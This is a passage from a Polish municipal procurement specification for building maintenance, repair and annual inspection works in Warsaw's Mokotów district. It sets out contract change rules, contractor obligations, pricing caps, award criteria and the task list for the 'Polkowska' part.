26.204,82 zł z VAT12.3. na wykonywanie czynności o których mowa w pkt. 3.1.2.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę wykazu budynków wraz z cenami za kontrolę.13.Zamawiający nie przewiduje udzielania zaliczek na poczet wykonania zamówienia3.3. Wykazy budynków gminnych oraz budynków Wspólnot Mieszkaniowych z lokalami gminnymi i budynków/lokali oświaty w których realizowane będą zamówienia stanowią Rozdział IV SIWZ. Wykazy budynków, o których mowa wyżej mogą ulec zmianie w zakresie wskazanych adresów budynków poprzez jednostronną czynność Zamawiającego. 3.4. Szczegółowy zakres obowiązków Wykonawcy zawarty jest w § 1, 3, 4 i 5 Istotnych postanowień umowy, które stanowią Rozdział III SIWZ.3.5.1. Czynności, o których mowa w pkt. 3.1. niniejszej specyfikacji, mają być wykonywane zgodnie z: 3.5.1.1. Dokumentacją techniczną w formie ,,ramowego" przedmiaru robót, która stanowi Rozdział VI specyfikacji istotnych warunków zamówienia, specyfikacją techniczną wykonania i odbioru robót - stanowiącą Rozdział V SIWZ,.3.5.1.2.	warunkami wynikającymi z przepisów technicznych i czynnościami wymienionymi w art. 22 Ustawy z dnia 07.07.1994 r. Prawo budowlane (tekst jednolity Dz. U. z 2018 r. poz.1202, ze zmianami) i jej przepisów wykonawczych,3.5.1.3. wymaganiami wynikającymi z aktualnych Polskich lub Europejskich Norm i aprobat technicznych, 3.5.1.4. zasadami rzetelnej wiedzy technicznej i sztuki budowlanej, 3.5.1.5. warunkami wynikającymi z Istotnych postanowień umowy stanowiących Rozdział III specyfikacji istotnych warunków zamówienia.oraz3.5.1.6. w sposób zapewniający kulturalną obsługę najemcy.3.5.2. Materiały i produkty, które będą używane do realizacji zamówienia, powinny odpowiadać wymaganiom ujętym w art. 10 ustawy Prawo budowlane i w Ustawie o wyrobach budowlanych Dz. U. z 2019 r. poz.266) i posiadać certyfikat na znak bezpieczeństwa w odniesieniu do wyrobów podlegających tej certyfikacji. Dla pozostałych materiałów, z wyłączeniem wskazanych w rozporządzeniu MSWiA z dnia 24 lipca 1998 r. w sprawie określenia wykazu wyrobów nie mającego istotnego wpływu na spełnienie wymagań podstawowych oraz wyrobów wytwarzanych i stosowanych według uznanych zasad sztuki budowlanej (Dz. U. z 1998r., Nr 99, poz.637), posiadać deklarację zgodności z dokumentem odniesienia jakim jest Polska Norma, a w przypadku jej braku krajową aprobatą techniczną (AT) lub europejską aprobatą techniczną (ETA). Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikaty i deklaracje dopuszczające wyrób do obrotu i stosowania w budownictwie. Ponadto podczas wykonywania zamówienia Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikat na znak bezpieczeństwa, deklaracje zgodności lub certyfikat zgodności z Polską Normą lub z aktualną aprobatą techniczną. 3.6. Zmiany umowy:3.6.1. Zamawiający dopuszcza możliwość wprowadzenia zmian postanowień umowy, w stosunku do treści oferty, na podstawie, której dokonano wyboru Wykonawcy w razie:3.6.1.1.	dokonywania zmian przewidzianych w SIWZ w postaci jednoznacznych postanowień umownych, określających zakres zmian, w szczególności możliwość zmiany terminu wykonania, wynagrodzenia Wykonawcy i charakteru oraz warunków ich wprowadzenia i tak w przypadku:3.6.1.1.1.	zmiany regulacji prawnych wprowadzonych w życie po dacie zawarcia umowy i mających wpływ na treść umowy wraz ze skutkami takiej zmiany regulacji prawnych,3.6.1.1.2. powierzenia Podwykonawcy wykonania całości bądź części Przedmiotu zamówienia w zakresie i na warunkach wynikających z umowy między Wykonawcą a Podwykonawcą zaakceptowanej przez Zamawiającego lub zmiany Podwykonawcy w sytuacji, gdy z przyczyn, których nie można było przewidzieć w chwili zawarcia z nim umowy dotyczącej wykonywania Przedmiotu zamówienia, koniecznym będzie dla prawidłowego jego wykonania posłużenie się przez Wykonawcę nowym Podwykonawcą, który będzie realizował część lub cały zakres robót powierzony uprzednio innemu Podwykonawcy. Jeżeli zmiana albo rezygnacja z Podwykonawcy dotyczy podmiotu, na którego zasoby Wykonawca powoływał się, na zasadach określonych w art. 22a ustawy, w celu wykazania spełniania warunków udziału w postępowaniu, o których mowa w art. 22 a ust. 4 ustawy, Wykonawca jest obowiązany wykazać Zamawiającemu, iż proponowany inny Podwykonawca lub Wykonawca samodzielnie spełnia je w stopniu nie mniejszym niż wymagany w trakcie postępowania o udzielenie zamówienia i nie podlega wykluczeniu z postępowania;3.6.1.1.3. zmiany zakresu części Przedmiotu zamówienia powierzonego Podwykonawcom wynikającej z aneksów do umów zawartych przez Wykonawcę z Podwykonawcami i zaakceptowanych przez Zamawiającego w przypadku wykonywania Przedmiotu zamówienia z udziałem Podwykonawców.3.6.1.1.4.	zmiany osób uczestniczących w realizacji przedmiotu zamówienia, przy czym warunkiem dokonania takiej zamiany jest posiadanie przez nowo wskazane osoby wymaganych uprawnień, kwalifikacji i doświadczenia zgodnego z warunkami określonymi w tym zakresie w SIWZ;3.6.1.2. zaistnienia konieczności wykonania przez Wykonawcę robót dodatkowych, nieobjętych zamówieniem podstawowym (przedmiotem zamówienia), o ile stały się niezbędne, a ponadto spełnione są łącznie następujące warunki:3.6.1.2.1.zmiana Wykonawcy nie może zostać dokonana z powodów ekonomicznych lub technicznych, w szczególności dotyczących zamienności lub interoperacyjności sprzętu, robót lub instalacji zamówionych w ramach zamówienia podstawowego (przedmiotu zamówienia);3.6.1.2.2. zmiana Wykonawcy spowodowałaby istotną niedogodność lub znaczne zwiększenie kosztów dla Zamawiającego;3.6.1.2.3. wartość każdej kolejnej zmiany umowy nie przekroczy 50% wartości umowy,3.6.1.3. gdy zmiana umowy spowodowana jest okolicznościami, których Zamawiający działając z należytą starannością nie mógł przewidzieć i jednocześnie ich wartość nie przekracza 50% wartości przedmiotu zamówienia. 3.6.1.4.	gdy Wykonawcę ma zastąpić inny podmiot:3.6.1.4.1. na podstawie postanowień umownych, o których mowa w pkt. 3.6.1.1. SIWZ, 3.6.1.4.2. w wyniku połączenia, podziału, przekształcenia, upadłości, restrukturyzacji lub nabycia dotychczasowego Wykonawcy lub jego przedsiębiorstwa, o ile nowy podmiot spełnia warunki udziału w postępowaniu, nie zachodzą wobec niego podstawy wykluczenia oraz nie pociąga to za sobą innych istotnych zmian umowy;3.6.1.4.3. w wyniku przejęcia przez Zamawiającego zobowiązań Wykonawcy względem jego podwykonawców, o ile Wykonawca wykonuje przedmiot zamówienia z udziałem podwykonawców3.6.1.5.	zmian - niezależnie od ich wartości, jeżeli nie są one istotne w rozumieniu art. 144 ust. 1e ustawy;3.6.1.6. łączna wartość zmian jest mniejsza niż kwoty określone w przepisach wydanych na podstawie art. 11 ust. 8 ustawy i jest mniejsza niż 10 % wartości przedmiotu zamówienia; 3.6.1.7.	zmiany wysokości wynagrodzenia w przypadku:3.6.1.7.1. zmiany stawki podatku od towarów i usług;3.6.1.7.2. zmiany wysokości minimalnego wynagrodzenia za pracę albo wysokości minimalnej stawki godzinowej, ustalonych na podstawie przepisów ustawy z dnia 10 października 2002 r. o minimalnym wynagrodzeniu o pracę (tj. Dz. U. z 2017 r. poz. 847);3.6.1.7.3. zmiany zasad podlegania ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub wysokości stawki składki na ubezpieczenia społeczne lub zdrowotne, na zasadach i w sposób opisany w § 15 istotnych postanowień umowy -Rozdział III SIWZ3.6.2. Z wyjątkiem zamian określonych w § 1 ust. 3, 4 i 5 4 ust. 4, 10 i 11 oraz w § 8 ust. 5 istotnych postanowień umowy -Rozdział III SIWZ, wszelkie inne zmiany umowy zawartej w wyniku rozstrzygnięcia przedmiotowego postępowania wymagają sporządzenia aneksu do umowy w formie pisemnej pod rygorem nieważności.3.6.3. W przypadkach, o których mowa w pkt. 3.6.1.2., 3.6.1.3. oraz 3.6.1.4. ppkt. 3.6.1.4.2. SIWZ Zamawiający nie wprowadzi kolejnych zmian umowy w celu uniknięcia stosowania przepisów ustawy Prawo zamówień publicznych.3.6.4. W przypadkach, o których mowa w pkt. 3.6.1.1., 3.6.1.3. i 3.6.1.6. SIWZ zmiany postanowień umowy nie mogą prowadzić do zmiany charakteru umowy.3.6.5. Wynagrodzenie dla Wykonawcy za wykonanie robót mieszczących się w zakresie, o którym mowa w pkt. 3.6.1.2, 3.6.1.3. i 3.6.1.6. SIWZ obliczone będzie wg zasad przyjętych w niniejszej umowie i kwot zawartych w ofercie. 3.6.6. Zamawiający zastrzega sobie możliwość zmiany wykazu budynków stanowiących Rozdział IV siwz.3.6.7. Zamawiający zastrzega sobie możliwość zmiany lub uzupełnienia o nowe pozycje Norm Zakładowych Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów m. st. Warszawy, które stanowią Rozdział VII siwz.3.6.8. Na etapie realizacji umowy Zamawiający zastrzega sobie możliwość dokonania zmiany przedmiaru robót stanowiącego Rozdział VI SIWZ, w zakresie ilości robót i ich rodzajów wyszczególnionych w poszczególnych pozycjach, co skutkować będzie zmianą kosztorysu zamiennego/powykonawczego Wykonawcy , z zastrzeżeniem, że zmiana ta nie może prowadzić do zwiększenia zaoferowanej przez Wykonawcę w kosztorysie ofertowym ceny.3.7.	Wykonawca zobowiązany będzie do: 3.7.1. posiadania opłaconej polisy lub innego dokumentu ubezpieczenia na kwotę nie niższą niż równowartość 100.000 złotych polskich, potwierdzającego, że jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności gospodarczej, w tym w zakresie przedmiotu zamówienia; 3.7.2. wniesienia zabezpieczenia należytego wykonania umowy na zasadach określonych w pkt. 22 SIWZ; 3.7.3. udzielenia gwarancji na wykonane przez siebie roboty na czas minimum 36 miesięcy od daty odbioru. Warunki gwarancji zawierają Istotne postanowienia umowy stanowiące Rozdział III SIWZ - wydłużenie okresu udzielonej gwarancji powyżej 36 miesięcy stanowi kryterium oceny ofert i punktowane będzie w sposób opisany w pkt. 19 SIWZ; 3.7.4. przedłożenia Zamawiającemu do zatwierdzenia harmonogramu kontroli (przeglądów), o których mowa w pkt. 3.1.1. SIWZ, w ciągu 7 dni kalendarzowych po podpisaniu umowy;3.7.5. zgłaszania się w okresie obowiązywania umowy, zawartej w wyniku rozstrzygnięcia niniejszego postępowania, w dni robocze w godzinach 7-15 niezwłocznie po otrzymaniu telefonicznego wezwania lub po wcześniejszym kontakcie wykonawcy z Zamawiającym w celu pobierania zleceń;. 3.7.6. pełnienia całodobowo usług pogotowia i dyżuru pod numerem telefonu, na który będą mogły być całodobowo zgłaszane przestoje i usterki budowlane w trakcie realizacji umowy zawartej w wyniku rozstrzygnięcia niniejszego postępowania; Numer telefonu będzie podany na piśmie dla danego DOM przez Wykonawcę w dacie podpisania umowy. 3.7.7. podpisania umowy na wykonywanie robót mających na celu utrzymanie sprawności technicznej elementów budynków zgodnych w zakresie określonym w pkt od 3.1.1. do 3.1.10. SIWZ na warunkach określonych w złożonej i przyjętej ofercie w budynkach Wspólnot Mieszkaniowych (które wyrażą na to zgodę) wyszczególnionych w Rozdziale IV B SIWZ: 3.7.7.1. warunki gwarancji i wykonania zamówienia w budynkach Wspólnot Mieszkaniowych będą zgodne z warunkami określonymi w niniejszej specyfikacji oraz w istotnych postanowieniach umowy, stanowiących Rozdział III SIWZ, 3.7.7.2. Wykonawca zobowiązany będzie do wystawienia faktur za roboty wykonane w budynkach Wspólnot Mieszkaniowych, o których mowa w pkt. 3.7.7. SIWZ, podmiotom, na rzecz których roboty będzie wykonywał, 3.8. Zaoferowana przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - maksymalna stawka roboczogodziny kosztorysowej nie może przekroczyć średniej warszawskiej określonej w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. dla robót budowlanych: R netto = 21,93 zł. i R brutto = 38,26 zł. Stawka roboczogodziny kosztorysowej brutto obejmuje wartość stawki roboczogodziny kosztorysowej netto powiększonej o narzut kosztów pośrednich i zysk kalkulacyjny [Rbrutto = (Rnetto + Kp + Z)]. Wykonawca musi wpisać oferowane stawki roboczogodziny kosztorysowej Rnetto i Rbrutto, Kp i Z w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej. 3.9.	Zaoferowany przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - wskaźnik narzutu kosztów zakupu materiałów (Wkz) - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - nie może być wyższy niż średni warszawski określony w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. tj. dla robót budowlanych i wynoszący Wkz = 4,4 %. Wykonawca musi wpisać oferowane Wkz w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej.3.10.	Zaoferowana przez Wykonawcę cena (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy każdego z budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w przeliczeniu na 1m3 kubatury budynku za jeden przegląd nie może przekraczać 0,10 złotego (bez VAT), przy czym cena za jeden przegląd każdego pojedynczego budynku nie może być niższa niż 1 zł ( bez VAT). Wykonawca musi wpisać ceny w kol. 11 wykazów budynków gminnych, zarządzanych i administrowanych przez ZGN, stanowiących Rozdział IV A SIWZ, nie wyższe niż 0,10 zł/m3 (bez VAT) kubatury budynku za przegląd każdego budynku gminnego zarządzanych i administrowanych przez ZGN, przy czym cena za jeden przegląd każdego pojedynczego ww. budynku nie może być niższa niż 1zł ( bez VAT). Suma wszystkich cen wymienionych w kolumnie 11 pod nazwą ,,Cena za przegląd każdego budynku wyszczególnionego w kol. 2 wg terminów wyszczególnionych w kol. 12" musi być umieszczona we wzorze formularza oferty częściowej w pkt. 1 c jako ,,suma cen (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy, dla wszystkich budynków gminnych zarządzanych i administrowanych przez ZGN w 2020 r. w DOM (dla którego składana jest oferta częściowa). Ponadto w w/w pkt. 1 c należy wpisać kwotę podatku VAT oraz sumę cen (z VAT) za dokonywane co 12 miesięcy całoroczne przeglądy [P] budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w DOM, dla którego składana jest oferta częściowa. W 2019 r nie będzie przeglądów.3.11.	Dla realizacji przedmiotu zamówienia, na czas obowiązywania umowy, która zostanie zawarta w wyniku rozstrzygnięcia przedmiotowego postępowania, istnieje możliwość wynajęcia od zamawiającego pomieszczeń na zaplecze techniczne po stawkach strefowych na zasadach przyjętych przez m. st. Warszawę ZGN w Dzielnicy Mokotów. 3.11.1. Część 1: brak pomieszczeń.3.11.2. Część 2 : brak pomieszczeń.3.11.3. część 3 - brak pomieszczeń 3.11.4. Część 4 : dla DOM ,,Madalińskiego" : ul. Wiśniowej 35 wiata w podwórku o pow. 47,26 m2, wyposażone w energię elektryczną,3.11.5. Część 5 : dla DOM ,,Konduktorska": pomieszczenia wyposażone w instalację elektryczną przy ul. Konduktorskiej 12, - wiata blaszana nr 1 o pow. 24,89 m2, - wiata blaszana nr 2 o pow. 19,89 m2, - wiata blaszana nr 5 o pow. 11,04 m2, - wiata blaszana nr 6 o pow. 15,45 m2 - wiata blaszana nr 7 o pow. 15,40 m2,- pomieszczenie piwniczne wyposażone w energię elektryczna o pow. 11,70 m2. 3.11.6. Część 6 : dla DOM ,,Polkowska":- pomieszczenie gospodarcze w piwnicy budynku biurowego DOM, pow. 15,68 m2, wyposażone w co i elektryczność, - wiata na podwórku wyposażona w elektryczność o pow. 100,28 m2 , - garaż na podwórku wyposażony w elektryczność o powierzchni 30,00 m2,możliwość korzystania z w.c. ogólnego w budynku biurowym DOM. Stawki czynszu dla wszystkich w/w lokali będą naliczone - wg obowiązujących w ZGN Mokotów na dzień podpisania umowy. 3.12. Wykonawca musi mieć zatrudnione na podstawie umowy o pracę, w rozumieniu przepisów ustawy z dnia 26 czerwca 1974 r. -Kodeks pracy (Dz. U. z 2019 r., poz. 9171040 z późn. zm.). osoby wykonujące wszystkie czynności będące przedmiotem zamówienia dotyczące wykonywania wszystkich robót remontowych zapewniających stałe utrzymanie w ruchu budynków oraz robót mających na celu utrzymanie sprawności technicznej elementów budynków, wyszczególnione w opisie przedmiotu zamówienia w pkt. 3.1. SIWZ, z wyjątkiem przypadków prawem wyłączonych. Obowiązek zatrudnienia na podstawie w/w umowy o pracę nie dotyczy osób, które będą pełniły funkcję kierownika/kierowników robót objętych zamówieniem oraz będą wykonywały przeglądy roczne budynków, które mogą być zatrudnione przez Wykonawcę w ramach stosunków prawnych dopuszczonych przez prawo. Obowiązek, o którym mowa w zdaniu pierwszym, dotyczy również podwykonawców realizujących zamówienie, na zasoby których Wykonawca się powołuje oraz innych podmiotów uczestniczących w wykonaniu zamówienia, na zasoby których Wykonawca się powołuje.3.13. W odniesieniu do wykonywania robót budowlanych wymagających ustanowienia kierownika robót oraz do wykonywaniu przeglądów budowlanych rocznych objętych zamówieniem Wykonawca zobowiązany jest zapewnić do nadzorowania robót budowlanych i wykonania przeglądów osobę posiadającą uprawnienia budowlane wymagane ustawą prawo budowlane, - do kierowania robotami, a w przypadku przeglądów dodatkowo do kontrolowania i oceny stanu technicznego elementów konstrukcyjnych w specjalności konstrukcyjno-budowlanej w zakresie niezbędnym do realizacji przedmiotu zamówienia lub odpowiedni dokument stwierdzający przygotowanie zawodowe do wykonywania powyższych czynności oraz wpis na listę członków właściwej izby samorządu zawodowego. 3.14 . Zamawiający przewiduje możliwość udzielenia zamówień podobnych, o których mowa w art. 67 ust. 1 pkt. 6 ustawy w przypadku włączenia do robót wchodzących w zakres przedmiotu zamówienia budynków nowo oddanych do administrowania ZGN lub nie ujętych w zestawieniu stanowiącym załącznik Rozdział IVA, IVB, IVC SIWZ - Wykaz budynków, itp. oraz w przypadku powtórzenia podobnych robót, w budynkach o których mowa w zdaniu poprzednim oraz w przypadku konieczności wykonania zamówień podobnych we wszystkich budynkach objętych zamówieniem, w okresie 3 lat od udzielenia zamówienia podstawowego. Wartość w/w powtórzonych podobnych robót nie przekroczy 50 % wartości zamówienia podstawowego tj. kwoty 510.000,00 z VAT. Zamawiający dokonywać będzie podziału w/w kwoty pomiędzy działy obsługi mieszkańców (DOM) wg. potrzeb i posiadanych środków.Warunki udzielenia zamówień podobnych: Wykonawca będzie wykonywał zamówienie należycie i bez zbędnej zwłoki, w standardach nie gorszych niż w umowie podstawowej, na warunkach umowy podstawowej. Ceny będą podlegały negocjacji.4.Każda cena (stawka) z VAT podana w ofercie uwzględniać musi podatek VAT wg stawki obowiązującej w dacie składania oferty. <br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>45000000-7, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: 157407,41<br/>Waluta: <br/>zł.<br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: 2019-12-01<br/>data zakończenia: 2020-11-30<br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena (z VAT) za wykonanie zamówienia w/g kosztorysu Ofertowego Wykonawcy sporządzonego na postawie ramowego przedmiaru robót </td><td style="border: 1px solid black;border-collapse: collapse;">30,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena- stawka roboczogodziny kosztorysowej Rbrutto = [(Rnetto+Kp+Z)] z VAT </td><td style="border: 1px solid black;border-collapse: collapse;">15,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena - dodatek za drobne naprawy (D) z VAT </td><td style="border: 1px solid black;border-collapse: collapse;">15,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">wydłużenie okresu udzielonej gwarancji powyżej 36 miesięcy </td><td style="border: 1px solid black;border-collapse: collapse;">20,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">czas przystąpienia do usunięcia zgłoszonej awarii </td><td style="border: 1px solid black;border-collapse: collapse;">20,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>6</td><td><b>Nazwa: </b></td><td>Polkowska</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Wykonawca zobowiązany będzie do wykonywania robót mających na celu utrzymanie sprawności technicznej elementów budynków i obiektów znajdujących się na terenach administrowanych przez ZGN, w zakres których wchodzą w szczególności roboty polegające na wykonaniu:1. robót wyszczególnionych w ,,ramowym" przedmiarze robót stanowiącym załącznik do SIWZ (Rozdział VI siwz) w szczególności:1.1. roboty posadzkarskie i okładzinowe ścian:?	skucie posadzki ceramicznej, ?	zerwanie posadzek z PCV, ?	przybicie płyt twardych pod posadzki, ?	wykonanie warstw wyrównawczych,?	naprawa posadzek cementowych i drewnianych, ? ułożenie posadzek z tworzywa sztucznego, montaż progów przejściowych, ?	montaż listew przyściennych drewnianych. ? cyklinowanie posadzek z deszczułek drewnianych,? szlifowanie posadzek z lastryko,?	demontaż boazerii, paneli ściennych itp.,?	demontaż złomowy sufitów podwieszanych,?	rozebranie posadzek z deszczułek z oderwaniem listew lub cokołów,?	skucie lepiku, subitu lub kleju trwale związanego z podkładem betonowym po rozebraniu posadzki z deszczułek,1.2. roboty murarskie: ? wykucie z muru kratek wentylacyjnych, ościeżnic drewnianych i metalowych, podokienników drewnianych i z lastryko, ? zamurowanie przebić w ścianach, ? obsadzenie kratek wentylacyjnych oraz ościeżnic stalowych, 1.3. roboty stolarskie: ? demontaż szaf wbudowanych, ?	demontaż ścianki drewnianej,?	wykonanie ścianki z płyty gipsowych + montaż ościeżnicy stalowej, ?	montaż okuć stolarskich, zasuwki, wkładka Yale itp.,? montaż nawiewnika w stolarce okiennej, ? montaż szafki pod zlewozmywak, ? regulacja stolarki okiennej, drzwiowej,?	rozszklenie i szklenie otworów okiennych lub drzwiowych,1.4. roboty malarskie emulsyjne i olejne: ? malowanie używanych ościeżnic stalowych, rur oraz grzejników farba olejną, ? jednokrotne malowanie podokienników, ? przygotowanie powierzchni ścian pod malowanie olejne i emulsyjne oraz sufitów pod emulsyjne, ? jednokrotne malowanie ścian farbami olejnymi z jednokrotnym szpachlowaniem, ? dwukrotne malowanie farbą emulsyjną sufitów i ścian po uprzednim zeskrobaniu starej farby i zagruntowaniu, ?	Ługowanie farby olejnej z tynków1.5. roboty tynkarskie?	odbicie tynków wewnętrznych z zaprawy cementowo-wapiennej na ścianach i sufitach,?	naprawa pęknięć tynku na ścianach i sufitach,?	tynki wewnętrzne zwykłe kat. III wykonywane ręcznie na ścianach i sufitach,?	tynki wewnętrzne pocienione,?	skasowanie wykwitów (zacieków),?	przecieranie istniejących tynków wewnętrznych z zeskrobaniem farby lub zdzieraniem tapet na ścianach,1.6. roboty towarzyszące:? wywiezienie materiałów z rozbiórki, ? mycie stolarki okiennej oraz parapetów,? zabezpieczenie podłóg folią, 1.7. roboty zewnętrzne :-	drobne naprawy nawierzchni drogowych,-	zasypywanie dołów i dziur po gryzoniach,-	malowanie pasów , miejsc postojowych i znaków poziomych,-	naprawa pokryć dachowych,-	naprawa elementów obiektów związanych z budynkiem i terenem, -naprawa elementów zewnętrznych budynków gminnych takich jak: rynny, okapy, tynki, opaski, zamalowywani graffiti.2. robót zapewniających stałe utrzymanie w ruchu budynków gminnych oraz lokali gminnych znajdujących się w tych budynkach zarządzanych i administrowanych przez Zakład Gospodarowania Nieruchomościami w Dzielnicy Mokotów oraz lokali gminnych, znajdujących się w budynkach wspólnotowych będących i nie będących w administracji Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów i budynków/lokali oświaty DOM Służewiec, DOM Wierzbno", DOM Wiśniowa , DOM Madalińskiego, DOM Konduktorska, DOM Polkowska w tym:2.1. przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których wykazy zawiera Rozdział IVA SIWZ, okresowych kontroli (raz w roku i sporządzania protokołów, wg art. 62 ust. 1 ustawy z dnia 7 lipca 1994 r. Prawa budowlane (tj. Dz. U. z 2019 poz. 1186 ze zm. - dalej: ustawa Prawo budowlane) polegających na sprawdzeniu stanu technicznego budynków, a w szczególności dokonywania przeglądów konstrukcji i pokrycia dachów, loggii, balkonów (w tym zanieczyszczeń ), attyk, kominów, balustrad, rynien, oszkleń, stolarki od zewnątrz, itp. elementów narażonych na niszczące wpływy atmosferyczne i niszczące działania czynników występujących podczas użytkowania, których uszkodzenia mogą powodować zagrożenie dla bezpieczeństwa osób, środowiska i konstrukcji budynku Szczegółowym sprawdzeniu należy objąć stan techniczny zewnętrznych warstw przegród zewnętrznych (warstwa fakturowa), elementów ścian zewnętrznych (attyki, filary, gzymsy), balustrad, loggii i balkonów, urządzeń zamocowanych do ścian i dachu, elementów odwodnienia budynku oraz obróbek blacharskich, pokryć dachowych, urządzeń stanowiących zabezpieczenie przeciwpożarowe budynku, elementów instalacji kanalizacyjnej odprowadzających ścieki z budynku, przejść przyłączy instalacyjnych przez ściany budynku oraz wszystkie pozostałe widoczne elementy budynku, a także estetykę budynku i jego otoczenia. W budynkach, w których w danym roku przeprowadzono przegląd 5-cio letni, nie wykonuje się przeglądów rocznych.2.2. całodobowe usuwanie awarii budowlanych i ich skutków wraz z robotami poawaryjnymi, zabezpieczanie doraźne obiektów miasta, gdy grożą awarią (z wyłączeniem instalacji) lub stwarzają zagrożenie życia i mienia,2.2.a Zamawiający wymaga aby Wykonawca przystąpił do usuwania awarii w ciągu 3-ch godzin od otrzymania telefonicznego zgłoszenia o zaistniałej awarii. Skrócenie ,,czasu przystąpienia do usunięcia zgłoszonej awarii" punktowane będzie zgodnie z zapisem pkt. 19 siwz.3. wykonywanie remontów, tj. wykonywanie robót naprawczych wynikających z przeprowadzonych kontroli oraz wykonywanie innych robót naprawczych zgłoszonych przez DOM zarówno w odniesieniu do budynków i lokali gminnych zarządzanych i administrowanych przez ZGN oraz lokali gminnych w budynkach Wspólnot Mieszkaniowych i budynków/lokali oświaty o ile roboty w nich zostaną zlecone przez Zamawiającego, jak i urządzeń terenowych związanych z budynkami, jak mury oporowe, schody, zjazdy do garaży podziemnych, opaski budynków, śmietniki, ogrodzenia, bramy itp. oraz elementów małej architektury i budowli związanych użytkowo z tymi budynkami oraz wykonywanie drobnych napraw dróg i chodników, montaż i demontaż znaków pionowych, słupków oraz malowanie znaków poziomych.4. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie nadmiernie nagromadzonego śniegu z dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń oraz w przypadku zagrożeń lub awarii w lokalach gminnych w budynkach Wspólnot Mieszkaniowych,5. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie zanieczyszczenia z przewodów dymowych, spalinowych i wentylacyjnych, zgłoszonych z DOM po podpisaniu umowy, 6. zgłaszanie do DOM zauważonych nieprawidłowości w zakresie stanu technicznego budynków miasta zarządzanych i administrowanych przez ZGN,7. roboty , o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2, 3.1.3. , 3.1.4., 3.1.5., SIWZ wykonywane będą na odrębne pisemne zlecenia wydawane przez DOM (stosownie do jego potrzeb) ze szczegółowym określeniem zakresu robót i ich ilości zgodnie z protokołem typowania i przedmiarem robót i ewentualnie ślepym kosztorysem oraz z określeniem terminu ich wykonania (rozpoczęcia i zakończenia).8. Prawidłowe wykonanie robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., 3.1.4., 3.1.5., każdorazowo potwierdzane będzie protokołem odbioru końcowego przez inspektora nadzoru DOM. Wynagrodzenie za realizację robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., SIWZ wypłacane będzie Wykonawcy na podstawie faktur wystawionych w oparciu o zweryfikowane przez inspektora -DOM - kosztorysy zamienne lub powykonawcze sporządzane zgodnie z przedmiarem, ślepym kosztorysem, o ile zostanie wcześniej dostarczony przez Zamawiającego lub w oparciu o protokoły typowania, obmiary robót oraz wg cen z kosztorysu ofertowego Wykonawcy stanowiącego zał. nr 1 do oferty, a w przypadku braku tych cen na podstawie czynników cenotwórczych podanych przez Wykonawcę w ofercie -kosztorys ofertowy. Ilość roboczogodzin, materiałów i czas pracy sprzętu wyliczane będą w oparciu o kosztorys sporządzony na podstawie kosztorysu ślepego jeżeli był on dostarczony przez Zamawiającego lub w oparciu o jednostkowe nakłady określone w Normach Zakładowych ZGN w Dzielnicy Mokotów stanowiące Rozdział VII siwz oraz w katalogach nakładów rzeczowych (KNR) wydanych przez Ministra Gospodarki Przestrzennej i Budownictwa, a w przypadku braku odpowiednich nakładów rzeczowych w w/w katalogach dopuszcza się stosowanie KNR wydanych przez WACETOB. Jeżeli również w tym wydawnictwie brak jest w/w nakładów wykonywanych prac dopuszcza się stosowanie wycen indywidualnych, uwzględniających także rzeczywisty czas, każdorazowo zaakceptowanych przez inspektorów Zamawiającego i zatwierdzonych przez kierownika DOM. 8.1. Ceny każdego z materiałów - bez kosztów zakupu - w przypadku gdy dany materiał nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez 